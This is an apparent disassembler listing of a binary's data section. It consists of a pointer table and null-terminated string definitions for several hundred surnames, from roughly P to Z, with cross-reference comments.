		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EF28o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EF24o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EF20o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EF1Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EF18o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EF14o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EF10o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EF0Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EF08o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EF04o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EF00o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEFCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEF8o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEF4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEF0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEECo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EEE8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EEE4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042EEE0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EEDCo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EED8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EED4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EED0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EECCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EEC8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EEC4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EEC0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EEBCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EEB8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EEB4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EEB0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EEACo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EEA8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EEA4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EEA0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE9Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE98o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE94o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE90o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE8Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE88o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE84o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE80o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE7Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE78o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE74o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE70o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE6Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE68o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE64o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE60o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE5Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE58o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE54o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE50o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE4Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE48o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE44o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE40o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE3Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE38o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EE34o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EE30o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EE2Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EE28o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EE24o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EE20o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EE1Co
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EE18o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EE14o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EE10o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EE0Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EE08o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EE04o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EE00o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDFCo
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDF8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDF4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDF0o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDECo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDE8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDE4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDE0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDDCo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDD8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EDD4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EDD0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EDCCo
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EDC8o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EDC4o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EDC0o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EDBCo
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EDB8o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EDB4o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EDB0o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EDACo
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EDA8o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EDA4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EDA0o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED9Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED98o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED94o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED90o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED8Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED88o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED84o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED80o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED7Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED78o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED74o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED70o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED6Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED68o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED64o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED60o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED5Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED58o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED54o
aTill		db 'Till',0             ; DATA XREF: ___:0042ED50o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED4Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED48o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED44o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED40o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED3Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED38o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ED34o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ED30o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ED2Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ED28o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ED24o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ED20o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ED1Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ED18o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ED14o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ED10o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ED0Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ED08o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ED04o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ED00o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECFCo
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECF8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECF4o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECF0o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECECo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECE8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECE4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECE0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECDCo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECD8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042ECD4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042ECD0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042ECCCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042ECC8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042ECC4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042ECC0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042ECBCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042ECB8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042ECB4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042ECB0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042ECACo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042ECA8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042ECA4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042ECA0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC9Co
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC98o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC94o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC90o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042EC8Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042EC88o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042EC84o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042EC80o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042EC7Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042EC78o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042EC74o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042EC70o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042EC6Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042EC68o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042EC64o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042EC60o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042EC5Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042EC58o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042EC54o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042EC50o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042EC4Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042EC48o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042EC44o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042EC40o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042EC3Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042EC38o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042EC34o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042EC30o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042EC2Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042EC28o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042EC24o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042EC20o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042EC1Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042EC18o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042EC14o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042EC10o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042EC0Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042EC08o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042EC04o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042EC00o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042EBFCo
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042EBF8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042EBF4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042EBF0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042EBECo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042EBE8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042EBE4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042EBE0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042EBDCo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042EBD8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042EBD4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042EBD0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042EBCCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042EBC8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042EBC4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042EBC0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042EBBCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042EBB8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042EBB4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042EBB0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042EBACo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042EBA8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EBA4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042EBA0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042EB9Co
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB98o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042EB94o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042EB90o
aSen		db 'Sen',0              ; DATA XREF: ___:0042EB8Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042EB88o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042EB84o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042EB80o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042EB7Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042EB78o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042EB74o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042EB70o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB6Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB68o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB64o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB60o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042EB5Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042EB58o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042EB54o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042EB50o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042EB4Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042EB48o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042EB44o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042EB40o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042EB3Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042EB38o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042EB34o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042EB30o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042EB2Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042EB28o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042EB24o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042EB20o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042EB1Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042EB18o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042EB14o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042EB10o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042EB0Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042EB08o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042EB04o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042EB00o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042EAFCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042EAF8o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042EAF4o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAF0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EAECo
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAE8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAE4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EADCo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAD8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EAD4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042EAD0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EACCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EAC8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EAC4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EAC0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EABCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EAB8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042EAB4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EAB0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EAACo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EAA8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EAA4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EAA0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA9Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA98o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA94o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA90o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA8Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA88o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA84o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA80o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA7Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA78o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA74o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA70o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA6Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA68o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA64o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA60o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA5Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA58o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA54o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA50o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA4Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA48o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA44o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA40o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA3Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA38o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042EA34o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042EA30o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042EA2Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042EA28o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042EA24o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042EA20o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042EA1Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042EA18o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042EA14o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042EA10o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042EA0Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042EA08o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042EA04o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042EA00o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9FCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9F8o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9F4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9F0o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9ECo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9E8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9E4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9E0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9DCo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9D8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E9D4o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E9D0o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E9CCo
		align 4
